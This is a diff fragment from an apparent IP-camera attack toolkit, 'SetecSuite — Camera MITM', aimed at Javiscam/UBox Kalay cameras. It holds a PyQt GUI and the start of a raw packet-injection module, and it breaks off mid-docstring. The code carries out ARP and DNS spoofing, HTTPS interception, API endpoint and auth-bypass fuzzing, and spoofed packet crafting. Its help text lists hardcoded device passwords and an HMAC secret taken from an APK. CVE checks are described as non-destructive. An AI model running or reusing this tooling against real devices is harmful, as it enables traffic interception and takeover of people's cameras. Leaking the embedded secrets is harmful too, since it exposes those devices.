oam_fuzz_btn.clicked.connect(lambda: self._cloud_call(
|
||||||
|
"oam_fuzz",
|
||||||
|
lambda cfg: ubox_client.oam_fuzz(ubox_client.OAM_ENDPOINT_GUESSES)
|
||||||
|
))
|
||||||
|
rl.addWidget(oam_fuzz_btn)
|
||||||
|
layout.addWidget(raw_box)
|
||||||
|
|
||||||
|
resp_box = QGroupBox("Response")
|
||||||
|
rvl = QVBoxLayout(resp_box)
|
||||||
|
self.cloud_response = QPlainTextEdit()
|
||||||
|
self.cloud_response.setReadOnly(True)
|
||||||
|
f = QFont("JetBrains Mono", 10)
|
||||||
|
f.setStyleHint(QFont.StyleHint.Monospace)
|
||||||
|
self.cloud_response.setFont(f)
|
||||||
|
self.cloud_response.setPlaceholderText("API responses will appear here")
|
||||||
|
rvl.addWidget(self.cloud_response)
|
||||||
|
layout.addWidget(resp_box, stretch=1)
|
||||||
|
|
||||||
|
return w
|
||||||
|
|
||||||
|
def _cloud_set_response(self, label, obj):
|
||||||
|
try:
|
||||||
|
text = json.dumps(obj, indent=2, ensure_ascii=False)
|
||||||
|
except Exception:
|
||||||
|
text = repr(obj)
|
||||||
|
self.cloud_response.setPlainText(f"=== {label} ===\n{text}")
|
||||||
|
|
||||||
|
def _cloud_call(self, label, fn):
|
||||||
|
def run():
|
||||||
|
try:
|
||||||
|
result = fn(self.ctrl.cfg)
|
||||||
|
if label == "devices" and isinstance(result, list):
|
||||||
|
self.ctrl._devices = result
|
||||||
|
self.cloud_response_signal.emit(label, result if result is not None else {"result": None})
|
||||||
|
except Exception as e:
|
||||||
|
self.cloud_response_signal.emit(label, {"exception": str(e)})
|
||||||
|
threading.Thread(target=run, daemon=True).start()
|
||||||
|
|
||||||
|
def _cloud_login(self):
|
||||||
|
self.ctrl.cfg["api_email"] = self.api_email.text()
|
||||||
|
self.ctrl.cfg["api_password"] = self.api_pw.text()
|
||||||
|
self.ctrl.cfg.save()
|
||||||
|
def run():
|
||||||
|
ok = ubox_client.login(self.ctrl.cfg)
|
||||||
|
payload = {
|
||||||
|
"logged_in": bool(ok),
|
||||||
|
"token": self.ctrl.cfg.get("api_token", ""),
|
||||||
|
"email": self.ctrl.cfg.get("api_email", ""),
|
||||||
|
}
|
||||||
|
self.cloud_response_signal.emit("login", payload)
|
||||||
|
threading.Thread(target=run, daemon=True).start()
|
||||||
|
|
||||||
|
# ── Fuzzer tab ───────────────────────────────────────────────
|
||||||
|
def _build_fuzzer_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
bb = QHBoxLayout()
|
||||||
|
b1 = QPushButton("Fuzz Endpoints")
|
||||||
|
b1.clicked.connect(lambda: threading.Thread(target=self.ctrl.run_fuzz_endpoints, daemon=True).start())
|
||||||
|
bb.addWidget(b1)
|
||||||
|
b2 = QPushButton("Fuzz Auth")
|
||||||
|
b2.clicked.connect(lambda: threading.Thread(target=self.ctrl.run_fuzz_auth, daemon=True).start())
|
||||||
|
bb.addWidget(b2)
|
||||||
|
bb.addStretch()
|
||||||
|
layout.addLayout(bb)
|
||||||
|
|
||||||
|
param_box = QGroupBox("Param Fuzz")
|
||||||
|
pl = QHBoxLayout(param_box)
|
||||||
|
self.fuzz_ep = QLineEdit()
|
||||||
|
self.fuzz_ep.setPlaceholderText("endpoint name")
|
||||||
|
pl.addWidget(self.fuzz_ep)
|
||||||
|
b3 = QPushButton("Run")
|
||||||
|
b3.clicked.connect(lambda: threading.Thread(
|
||||||
|
target=self.ctrl.run_fuzz_params, args=(self.fuzz_ep.text(),), daemon=True
|
||||||
|
).start())
|
||||||
|
pl.addWidget(b3)
|
||||||
|
layout.addWidget(param_box)
|
||||||
|
|
||||||
|
self.fuzz_status = QLabel("Idle")
|
||||||
|
layout.addWidget(self.fuzz_status)
|
||||||
|
|
||||||
|
b4 = QPushButton("Stop fuzzer")
|
||||||
|
b4.clicked.connect(lambda: (self.ctrl.fuzzer and self.ctrl.fuzzer.stop()))
|
||||||
|
layout.addWidget(b4)
|
||||||
|
layout.addStretch()
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Inject tab ───────────────────────────────────────────────
|
||||||
|
def _build_inject_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
|
||||||
|
udp_box = QGroupBox("UDP Inject")
|
||||||
|
ul = QFormLayout(udp_box)
|
||||||
|
self.udp_ip = QLineEdit(self.ctrl.cfg["camera_ip"])
|
||||||
|
self.udp_port = QLineEdit("10240")
|
||||||
|
self.udp_payload = QLineEdit()
|
||||||
|
self.udp_payload.setPlaceholderText("hex payload, e.g. deadbeef")
|
||||||
|
ul.addRow("Dst IP:", self.udp_ip)
|
||||||
|
ul.addRow("Dst port:", self.udp_port)
|
||||||
|
ul.addRow("Payload:", self.udp_payload)
|
||||||
|
b = QPushButton("Send UDP")
|
||||||
|
b.clicked.connect(self._send_udp)
|
||||||
|
ul.addRow("", b)
|
||||||
|
layout.addWidget(udp_box)
|
||||||
|
|
||||||
|
arp_box = QGroupBox("ARP Reply")
|
||||||
|
al = QFormLayout(arp_box)
|
||||||
|
self.arp_src = QLineEdit(self.ctrl.cfg["router_ip"])
|
||||||
|
self.arp_dst = QLineEdit(self.ctrl.cfg["camera_ip"])
|
||||||
|
al.addRow("Src IP (spoof):", self.arp_src)
|
||||||
|
al.addRow("Dst IP:", self.arp_dst)
|
||||||
|
b2 = QPushButton("Send ARP")
|
||||||
|
b2.clicked.connect(lambda: packet.inject(self.ctrl.cfg, {
|
||||||
|
"type": "arp_reply", "src_ip": self.arp_src.text(), "dst_ip": self.arp_dst.text()
|
||||||
|
}))
|
||||||
|
al.addRow("", b2)
|
||||||
|
layout.addWidget(arp_box)
|
||||||
|
|
||||||
|
layout.addStretch()
|
||||||
|
return w
|
||||||
|
|
||||||
|
def _send_udp(self):
|
||||||
|
try:
|
||||||
|
packet.inject(self.ctrl.cfg, {
|
||||||
|
"type": "udp",
|
||||||
|
"dst_ip": self.udp_ip.text(),
|
||||||
|
"dst_port": int(self.udp_port.text()),
|
||||||
|
"payload": self.udp_payload.text(),
|
||||||
|
"payload_hex": True,
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
QMessageBox.warning(self, "Inject error", str(e))
|
||||||
|
|
||||||
|
# ── Config tab ───────────────────────────────────────────────
|
||||||
|
def _build_config_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QFormLayout(w)
|
||||||
|
self.cfg_inputs = {}
|
||||||
|
for k, v in self.ctrl.cfg.items():
|
||||||
|
if "password" in k or "token" in k:
|
||||||
|
continue
|
||||||
|
le = QLineEdit(str(v))
|
||||||
|
self.cfg_inputs[k] = le
|
||||||
|
layout.addRow(k, le)
|
||||||
|
b = QPushButton("Save Config")
|
||||||
|
b.clicked.connect(self._save_config)
|
||||||
|
layout.addRow("", b)
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── CVE tab ──────────────────────────────────────────────────
|
||||||
|
def _build_cve_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
|
||||||
|
head = QHBoxLayout()
|
||||||
|
title = QLabel("CVE verification — original probes, non-destructive")
|
||||||
|
title.setStyleSheet("color:#ff79c6; font-size:13pt; font-weight:bold;")
|
||||||
|
head.addWidget(title)
|
||||||
|
head.addStretch()
|
||||||
|
b_run = QPushButton("▶ Run All Verifications")
|
||||||
|
b_run.clicked.connect(self._cve_run_all)
|
||||||
|
head.addWidget(b_run)
|
||||||
|
b_rep = QPushButton("📝 Generate Report")
|
||||||
|
b_rep.clicked.connect(self._cve_generate_report)
|
||||||
|
head.addWidget(b_rep)
|
||||||
|
layout.addLayout(head)
|
||||||
|
|
||||||
|
# Card per CVE
|
||||||
|
self.cve_cards = {}
|
||||||
|
cve_specs = [
|
||||||
|
("CVE-2025-12636",
|
||||||
|
"Ubia Ubox cloud API leaks IOTC device credentials in plaintext",
|
||||||
|
"The cloud `user/device_list` endpoint returns `cam_user` / `cam_pwd` "
|
||||||
|
"in plaintext to any authenticated owner. These are the IOTC P2P "
|
||||||
|
"device-auth credentials and grant full local control. Verifier calls "
|
||||||
|
"the endpoint and inspects the response.",
|
||||||
|
cve_checks.verify_cve_2025_12636),
|
||||||
|
("CVE-2021-28372",
|
||||||
|
"ThroughTek Kalay P2P UID-based session hijack (UBIC rebrand)",
|
||||||
|
"Kalay master server identifies devices by UID alone. An attacker "
|
||||||
|
"knowing the UID can register the same UID against the master and "
|
||||||
|
"intercept the next legitimate client login. We verify preconditions "
|
||||||
|
"(UID format + camera P2P stack alive) without performing the spoof "
|
||||||
|
"registration.",
|
||||||
|
cve_checks.verify_cve_2021_28372),
|
||||||
|
("CVE-2023-6322 / 6323 / 6324",
|
||||||
|
"ThroughTek Kalay LAN-side memory corruption + auth bypass chain",
|
||||||
|
"Three flaws in the Kalay LAN protocol parser: an auth bypass, a "
|
||||||
|
"heap overflow, and a stack overflow. Verifier sends only safe small "
|
||||||
|
"probes — no overflow payloads — and reports based on stack "
|
||||||
|
"fingerprint and pre/post liveness.",
|
||||||
|
cve_checks.verify_cve_2023_6322_chain),
|
||||||
|
]
|
||||||
|
for cve_id, title_txt, desc, verifier in cve_specs:
|
||||||
|
card = QGroupBox(cve_id)
|
||||||
|
cl = QVBoxLayout(card)
|
||||||
|
t = QLabel(f"<b>{title_txt}</b>")
|
||||||
|
t.setWordWrap(True)
|
||||||
|
t.setStyleSheet("color:#8be9fd;")
|
||||||
|
cl.addWidget(t)
|
||||||
|
d = QLabel(desc)
|
||||||
|
d.setWordWrap(True)
|
||||||
|
d.setStyleSheet("color:#cccccc; padding:4px;")
|
||||||
|
cl.addWidget(d)
|
||||||
|
row = QHBoxLayout()
|
||||||
|
status = QLabel("● not run")
|
||||||
|
status.setStyleSheet("color:#888888; font-weight:bold;")
|
||||||
|
row.addWidget(status)
|
||||||
|
row.addStretch()
|
||||||
|
btn = QPushButton("Verify")
|
||||||
|
btn.clicked.connect(lambda _, v=verifier, cid=cve_id: self._cve_run_one(cid, v))
|
||||||
|
row.addWidget(btn)
|
||||||
|
cl.addLayout(row)
|
||||||
|
evidence = QPlainTextEdit()
|
||||||
|
evidence.setReadOnly(True)
|
||||||
|
evidence.setMaximumHeight(120)
|
||||||
|
evidence.setPlaceholderText("evidence + raw artifacts will appear here")
|
||||||
|
cl.addWidget(evidence)
|
||||||
|
self.cve_cards[cve_id] = {
|
||||||
|
"status": status,
|
||||||
|
"evidence": evidence,
|
||||||
|
"result": None,
|
||||||
|
}
|
||||||
|
layout.addWidget(card)
|
||||||
|
|
||||||
|
layout.addStretch()
|
||||||
|
return w
|
||||||
|
|
||||||
|
def _cve_set_status(self, cve_id, result):
|
||||||
|
card = self.cve_cards.get(cve_id)
|
||||||
|
if not card:
|
||||||
|
return
|
||||||
|
card["result"] = result
|
||||||
|
s = result.get("status", "?")
|
||||||
|
color = {"VULN": "#ff5555", "NOT_VULN": "#50fa7b",
|
||||||
|
"UNKNOWN": "#f1fa8c", "ERROR": "#ff79c6"}.get(s, "#cccccc")
|
||||||
|
card["status"].setText(f"● {s}")
|
||||||
|
card["status"].setStyleSheet(f"color:{color}; font-weight:bold;")
|
||||||
|
text = result.get("evidence", "") + "\n\n" + json.dumps(result.get("details", {}), indent=2, ensure_ascii=False)
|
||||||
|
card["evidence"].setPlainText(text)
|
||||||
|
|
||||||
|
def _cve_run_one(self, cve_id, verifier):
|
||||||
|
def run():
|
||||||
|
try:
|
||||||
|
r = verifier(self.ctrl.cfg)
|
||||||
|
except Exception as e:
|
||||||
|
r = {"cve": cve_id, "status": "ERROR",
|
||||||
|
"title": "exception", "evidence": str(e), "details": {}}
|
||||||
|
self.cve_signal.emit(cve_id, r)
|
||||||
|
threading.Thread(target=run, daemon=True).start()
|
||||||
|
|
||||||
|
def _cve_run_all(self):
|
||||||
|
def run():
|
||||||
|
for cve_id, fn in [
|
||||||
|
("CVE-2025-12636", cve_checks.verify_cve_2025_12636),
|
||||||
|
("CVE-2021-28372", cve_checks.verify_cve_2021_28372),
|
||||||
|
("CVE-2023-6322 / 6323 / 6324", cve_checks.verify_cve_2023_6322_chain),
|
||||||
|
]:
|
||||||
|
try:
|
||||||
|
r = fn(self.ctrl.cfg)
|
||||||
|
except Exception as e:
|
||||||
|
r = {"cve": cve_id, "status": "ERROR",
|
||||||
|
"title": "exception", "evidence": str(e), "details": {}}
|
||||||
|
self.cve_signal.emit(cve_id, r)
|
||||||
|
threading.Thread(target=run, daemon=True).start()
|
||||||
|
|
||||||
|
def _cve_generate_report(self):
|
||||||
|
results = []
|
||||||
|
for cve_id, card in self.cve_cards.items():
|
||||||
|
if card["result"]:
|
||||||
|
results.append(card["result"])
|
||||||
|
if not results:
|
||||||
|
QMessageBox.information(self, "Report", "Run at least one verification first.")
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
path = cve_checks.build_report(self.ctrl.cfg, results)
|
||||||
|
QMessageBox.information(self, "Report written", f"Saved to:\n{path}")
|
||||||
|
except Exception as e:
|
||||||
|
QMessageBox.warning(self, "Report failed", str(e))
|
||||||
|
|
||||||
|
# ── Help tab ─────────────────────────────────────────────────
|
||||||
|
def _build_help_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
view = QTextEdit()
|
||||||
|
view.setReadOnly(True)
|
||||||
|
view.setHtml("""
|
||||||
|
<h2 style="color:#50fa7b">SetecSuite — Camera MITM</h2>
|
||||||
|
<p><b>Target:</b> Javiscam/UBox cam (TUTK Kalay) at the IP shown in the Dashboard.</p>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Tabs</h3>
|
||||||
|
<ul>
|
||||||
|
<li><b>Dashboard</b> — START/STOP MITM, click any service row to toggle individually, watch protocol counts and target info.</li>
|
||||||
|
<li><b>Live Log</b> — every log line, color-coded. Filter by substring. Toggle Autoscroll if you want to read history while traffic flows.</li>
|
||||||
|
<li><b>Intruders</b> — table of detected suspicious activity (ARP spoofs, unknown LAN peers, unexpected outbound dests).</li>
|
||||||
|
<li><b>Cloud API</b> — UBox portal: Login, Devices, Firmware, Services, Families, Raw POST. Firmware Download tries multiple host_versions to trick the cloud into returning an OTA URL.</li>
|
||||||
|
<li><b>Fuzzer</b> — endpoint discovery (~146 known + ~600 wordlist), parameter mutation, auth bypass.</li>
|
||||||
|
<li><b>Inject</b> — craft and send raw UDP, ARP, or DNS packets.</li>
|
||||||
|
<li><b>Config</b> — edit any config key, save to disk.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Services (Dashboard buttons)</h3>
|
||||||
|
<ul>
|
||||||
|
<li><b>arp</b> — ARP spoof: tell camera we are the gateway, tell gateway we are the camera.</li>
|
||||||
|
<li><b>dns</b> — DNS spoof: redirect cloud lookups to us.</li>
|
||||||
|
<li><b>http / https</b> — Intercept ports 80/443. HTTPS uses our regen'd cert with SAN list for ubianet, aliyuncs, myqcloud.</li>
|
||||||
|
<li><b>udp10240</b> — IOTC P2P relay port (Tencent/Alibaba clouds use this).</li>
|
||||||
|
<li><b>udp20001</b> — Push notification service.</li>
|
||||||
|
<li><b>sniffer</b> — Raw packet sniffer; logs cam:src → us:dst with conntrack-extracted original destination + protocol fingerprint.</li>
|
||||||
|
<li><b>intruder</b> — Detects: ARP spoofs against the camera, unknown LAN hosts contacting it, unexpected outbound destinations not in known cloud whitelist.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Workflow: get firmware</h3>
|
||||||
|
<ol>
|
||||||
|
<li>Cloud API → fill creds → Login</li>
|
||||||
|
<li>Devices (populates device_uid)</li>
|
||||||
|
<li>Download FW (auto-tries 6 versions, or type one in the field)</li>
|
||||||
|
<li>If empty: start MITM, power-cycle camera, watch Live Log for the camera's own check_version request</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">REST API</h3>
|
||||||
|
<p>Always running on <code>http://127.0.0.1:9090</code>. Endpoints: <code>/status, /logs, /devices, /config, /fuzz/results, /start, /stop, /command, /api, /fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject</code></p>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Files</h3>
|
||||||
|
<ul>
|
||||||
|
<li>Config: <code>~/setec_suite/cam-mitm/config.json</code></li>
|
||||||
|
<li>Logs: <code>/root/dumps/mitm_logs/mitm.log</code> (rotates at 1 GiB)</li>
|
||||||
|
<li>Captures: <code>/root/dumps/mitm_logs/raw_*.bin</code></li>
|
||||||
|
<li>SSL cert: regen with <code>sudo /home/snake/setec_suite/cam-mitm/regen_cert.sh</code></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Known credentials (from APK)</h3>
|
||||||
|
<ul>
|
||||||
|
<li><b>Camera local:</b> admin / yyc1G::HPEv7om3O</li>
|
||||||
|
<li><b>Camera local alt:</b> admin / iotCam31</li>
|
||||||
|
<li><b>Box-mode:</b> admin / admin</li>
|
||||||
|
<li><b>OAM HMAC secret:</b> 2894df25f8f740dff5266bc155c662ca</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Run</h3>
|
||||||
|
<p><code>sudo /usr/bin/python3 /home/snake/setec_suite/cam-mitm/gui.py</code></p>
|
||||||
|
<p>(Custom Python 3.14 build at /usr/local/bin lacks _curses and PyQt6 — must use the system /usr/bin/python3)</p>
|
||||||
|
""")
|
||||||
|
layout.addWidget(view)
|
||||||
|
return w
|
||||||
|
|
||||||
|
def _save_config(self):
|
||||||
|
for k, le in self.cfg_inputs.items():
|
||||||
|
old = self.ctrl.cfg[k]
|
||||||
|
v = le.text()
|
||||||
|
try:
|
||||||
|
if isinstance(old, int):
|
||||||
|
v = int(v)
|
||||||
|
elif isinstance(old, float):
|
||||||
|
v = float(v)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
self.ctrl.cfg[k] = v
|
||||||
|
self.ctrl.cfg.save()
|
||||||
|
log("Config saved from GUI", C_SUCCESS)
|
||||||
|
|
||||||
|
# ── Periodic refresh ─────────────────────────────────────────
|
||||||
|
def _tick(self):
|
||||||
|
# New log lines
|
||||||
|
with lock:
|
||||||
|
total = len(log_lines)
|
||||||
|
if total < self._last_log_idx:
|
||||||
|
self._last_log_idx = 0 # deque rolled
|
||||||
|
new = list(log_lines)[self._last_log_idx:]
|
||||||
|
self._last_log_idx = total
|
||||||
|
if new:
|
||||||
|
self.bridge.new_lines.emit(new)
|
||||||
|
|
||||||
|
# State
|
||||||
|
if self.ctrl.services_running:
|
||||||
|
self.state_label.setText("MITM: RUNNING")
|
||||||
|
self.state_label.setStyleSheet("color: #50fa7b; font-size: 18pt; font-weight: bold; padding: 10px;")
|
||||||
|
else:
|
||||||
|
self.state_label.setText("MITM: STOPPED")
|
||||||
|
self.state_label.setStyleSheet("color: #ff5555; font-size: 18pt; font-weight: bold; padding: 10px;")
|
||||||
|
|
||||||
|
for name, btn in self.svc_buttons.items():
|
||||||
|
on = self.ctrl.flags.get(name, False)
|
||||||
|
btn.setText(f"● {name}: {'ON' if on else 'off'}")
|
||||||
|
color = "#50fa7b" if on else "#ff5555"
|
||||||
|
btn.setStyleSheet(f"text-align:left; color:{color}; padding:6px; background:#282a36;")
|
||||||
|
|
||||||
|
# Protocols seen
|
||||||
|
counts = proto_id.seen_counts()
|
||||||
|
if counts:
|
||||||
|
txt = " ".join(f"{k}={v}" for k, v in sorted(counts.items(), key=lambda x: -x[1]))
|
||||||
|
self.proto_label.setText(txt)
|
||||||
|
|
||||||
|
# Intruders
|
||||||
|
self._refresh_intruders()
|
||||||
|
|
||||||
|
# Cloud status
|
||||||
|
if self.ctrl.cfg.get("api_token"):
|
||||||
|
tok = self.ctrl.cfg["api_token"][:16]
|
||||||
|
self.cloud_status.setText(f"logged in as {self.ctrl.cfg.get('api_email','?')} token={tok}…")
|
||||||
|
self.cloud_status.setStyleSheet("color: #50fa7b; font-weight: bold; padding: 4px;")
|
||||||
|
else:
|
||||||
|
self.cloud_status.setText("not logged in")
|
||||||
|
self.cloud_status.setStyleSheet("color: #ff5555; font-weight: bold; padding: 4px;")
|
||||||
|
|
||||||
|
# Status bar
|
||||||
|
n_devs = len(self.ctrl._devices) if self.ctrl._devices else 0
|
||||||
|
self.status.showMessage(
|
||||||
|
f"REST :{self.ctrl.cfg['rest_port']} | Devices: {n_devs} | "
|
||||||
|
f"Token: {'yes' if self.ctrl.cfg['api_token'] else 'no'} | "
|
||||||
|
f"Intruders: {len(intruder_watch.get_intruders())}"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _refresh_intruders(self):
|
||||||
|
items = intruder_watch.get_intruders()
|
||||||
|
self.intruder_count.setText(f"{len(items)} events")
|
||||||
|
if self.intruder_table.rowCount() != len(items):
|
||||||
|
self.intruder_table.setRowCount(len(items))
|
||||||
|
for i, e in enumerate(items):
|
||||||
|
self.intruder_table.setItem(i, 0, QTableWidgetItem(e["ts"]))
|
||||||
|
kind_item = QTableWidgetItem(e["kind"])
|
||||||
|
kind_item.setForeground(QColor("#ff79c6"))
|
||||||
|
self.intruder_table.setItem(i, 1, kind_item)
|
||||||
|
self.intruder_table.setItem(i, 2, QTableWidgetItem(e["src"]))
|
||||||
|
self.intruder_table.setItem(i, 3, QTableWidgetItem(e["dst"]))
|
||||||
|
self.intruder_table.setItem(i, 4, QTableWidgetItem(e["detail"]))
|
||||||
|
|
||||||
|
# ── Log append ───────────────────────────────────────────────
|
||||||
|
def _append_log(self, lines):
|
||||||
|
flt = self.log_filter.text().lower()
|
||||||
|
autoscroll = self.autoscroll_cb.isChecked()
|
||||||
|
|
||||||
|
# Preserve current scroll position when autoscroll off
|
||||||
|
sb = self.log_view.verticalScrollBar()
|
||||||
|
old_pos = sb.value()
|
||||||
|
old_user_cursor = self.log_view.textCursor()
|
||||||
|
|
||||||
|
write_cursor = QTextCursor(self.log_view.document())
|
||||||
|
write_cursor.movePosition(QTextCursor.MoveOperation.End)
|
||||||
|
for line, color in lines:
|
||||||
|
if flt and flt not in line.lower():
|
||||||
|
continue
|
||||||
|
fmt = write_cursor.charFormat()
|
||||||
|
fmt.setForeground(QT_COLORS.get(color, QT_COLORS[C_NONE]))
|
||||||
|
write_cursor.setCharFormat(fmt)
|
||||||
|
write_cursor.insertText(line + "\n")
|
||||||
|
|
||||||
|
if autoscroll:
|
||||||
|
self.log_view.moveCursor(QTextCursor.MoveOperation.End)
|
||||||
|
self.log_view.ensureCursorVisible()
|
||||||
|
else:
|
||||||
|
self.log_view.setTextCursor(old_user_cursor)
|
||||||
|
sb.setValue(old_pos)
|
||||||
|
|
||||||
|
def _clear_log(self):
|
||||||
|
self.log_view.clear()
|
||||||
|
with lock:
|
||||||
|
log_lines.clear()
|
||||||
|
self._last_log_idx = 0
|
||||||
|
|
||||||
|
def closeEvent(self, ev):
|
||||||
|
if self.ctrl.services_running:
|
||||||
|
self.ctrl.stop_services()
|
||||||
|
self.ctrl.running = False
|
||||||
|
close_logfile()
|
||||||
|
ev.accept()
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
print("Run with: sudo /usr/bin/python3 gui.py")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
ctrl = Controller()
|
||||||
|
os.makedirs(ctrl.cfg["log_dir"], exist_ok=True)
|
||||||
|
init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log")
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, signal.SIG_DFL)
|
||||||
|
|
||||||
|
app = QApplication(sys.argv)
|
||||||
|
win = MainWindow(ctrl)
|
||||||
|
win.show()
|
||||||
|
rc = app.exec()
|
||||||
|
if ctrl.services_running:
|
||||||
|
ctrl.stop_services()
|
||||||
|
close_logfile()
|
||||||
|
sys.exit(rc)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
0
inject/__init__.py
Normal file
0
inject/__init__.py
Normal file
178
inject/packet.py
Normal file
178
inject/packet.py
Normal file
@@ -0,0 +1,178 @@
|
|||||||
|
"""Packet injection — craft and send raw packets to the camera or network"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import os
|
||||||
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_IMPORTANT
|
||||||
|
|
||||||
|
|
||||||
|
def _checksum(data):
|
||||||
|
"""Calculate IP/TCP/UDP checksum"""
|
||||||
|
if len(data) % 2:
|
||||||
|
data += b"\x00"
|
||||||
|
s = sum(struct.unpack("!%dH" % (len(data) // 2), data))
|
||||||
|
s = (s >> 16) + (s & 0xFFFF)
|
||||||
|
s += s >> 16
|
||||||
|
return ~s & 0xFFFF
|
||||||
|
|
||||||
|
|
||||||
|
def build_ethernet(src_mac, dst_mac, ethertype=0x0800):
|
||||||
|
src = bytes.fromhex(src_mac.replace(":", ""))
|
||||||
|
dst = bytes.fromhex(dst_mac.replace(":", ""))
|
||||||
|
return dst + src + struct.pack("!H", ethertype)
|
||||||
|
|
||||||
|
|
||||||
|
def build_ip(src_ip, dst_ip, proto, payload_len):
|
||||||
|
ver_ihl = 0x45
|
||||||
|
tos = 0
|
||||||
|
total_len = 20 + payload_len
|
||||||
|
ident = os.getpid() & 0xFFFF
|
||||||
|
flags_frag = 0x4000 # Don't Fragment
|
||||||
|
ttl = 64
|
||||||
|
header = struct.pack("!BBHHHBBH4s4s",
|
||||||
|
ver_ihl, tos, total_len, ident, flags_frag,
|
||||||
|
ttl, proto, 0,
|
||||||
|
socket.inet_aton(src_ip), socket.inet_aton(dst_ip))
|
||||||
|
chk = _checksum(header)
|
||||||
|
return header[:10] + struct.pack("!H", chk) + header[12:]
|
||||||
|
|
||||||
|
|
||||||
|
def build_udp(src_port, dst_port, payload):
|
||||||
|
length = 8 + len(payload)
|
||||||
|
header = struct.pack("!HHH", src_port, dst_port, length) + b"\x00\x00"
|
||||||
|
return header + payload
|
||||||
|
|
||||||
|
|
||||||
|
def build_tcp_syn(src_port, dst_port, seq=1000):
|
||||||
|
data_offset = 5 << 4
|
||||||
|
flags = 0x02 # SYN
|
||||||
|
window = 65535
|
||||||
|
header = struct.pack("!HHIIBBHHH",
|
||||||
|
src_port, dst_port, seq, 0,
|
||||||
|
data_offset, flags, window, 0, 0)
|
||||||
|
return header
|
||||||
|
|
||||||
|
|
||||||
|
def build_arp_request(src_mac, src_ip, target_ip):
|
||||||
|
src_m = bytes.fromhex(src_mac.replace(":", ""))
|
||||||
|
dst_m = b"\xff\xff\xff\xff\xff\xff"
|
||||||
|
eth = dst_m + src_m + b"\x08\x06"
|
||||||
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 1) # request
|
||||||
|
arp += src_m + socket.inet_aton(src_ip)
|
||||||
|
arp += b"\x00" * 6 + socket.inet_aton(target_ip)
|
||||||
|
return eth + arp
|
||||||
|
|
||||||
|
|
||||||
|
def build_arp_reply(src_mac, dst_mac, src_ip, dst_ip):
|
||||||
|
src_m = bytes.fromhex(src_mac.replace(":", ""))
|
||||||
|
dst_m = bytes.fromhex(dst_mac.replace(":", ""))
|
||||||
|
eth = dst_m + src_m + b"\x08\x06"
|
||||||
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) # reply
|
||||||
|
arp += src_m + socket.inet_aton(src_ip)
|
||||||
|
arp += dst_m + socket.inet_aton(dst_ip)
|
||||||
|
return eth + arp
|
||||||
|
|
||||||
|
|
||||||
|
def build_dns_query(domain, src_port=12345):
|
||||||
|
"""Build a DNS query packet payload"""
|
||||||
|
txid = struct.pack("!H", os.getpid() & 0xFFFF)
|
||||||
|
flags = b"\x01\x00" # standard query
|
||||||
|
counts = struct.pack("!HHHH", 1, 0, 0, 0)
|
||||||
|
qname = b""
|
||||||
|
for label in domain.encode().split(b"."):
|
||||||
|
qname += bytes([len(label)]) + label
|
||||||
|
qname += b"\x00"
|
||||||
|
qtype = struct.pack("!HH", 1, 1) # A record, IN class
|
||||||
|
return txid + flags + counts + qname + qtype
|
||||||
|
|
||||||
|
|
||||||
|
def send_raw(iface, packet):
|
||||||
|
"""Send a raw Ethernet frame"""
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((iface, 0))
|
||||||
|
sock.send(packet)
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
log(f"INJECT: send failed: {e}", C_ERROR)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def send_udp(dst_ip, dst_port, payload, src_port=0):
|
||||||
|
"""Send UDP datagram using normal socket"""
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
if src_port:
|
||||||
|
sock.bind(("", src_port))
|
||||||
|
sock.sendto(payload, (dst_ip, dst_port))
|
||||||
|
sock.close()
|
||||||
|
log(f"INJECT: UDP sent to {dst_ip}:{dst_port} ({len(payload)}B)", C_SUCCESS)
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
log(f"INJECT: UDP failed: {e}", C_ERROR)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def inject(cfg, params):
|
||||||
|
"""
|
||||||
|
Inject a packet based on params dict.
|
||||||
|
params: {
|
||||||
|
"type": "udp"|"arp_request"|"arp_reply"|"dns_query"|"raw",
|
||||||
|
"dst_ip": "...",
|
||||||
|
"dst_port": 1234,
|
||||||
|
"src_port": 5678,
|
||||||
|
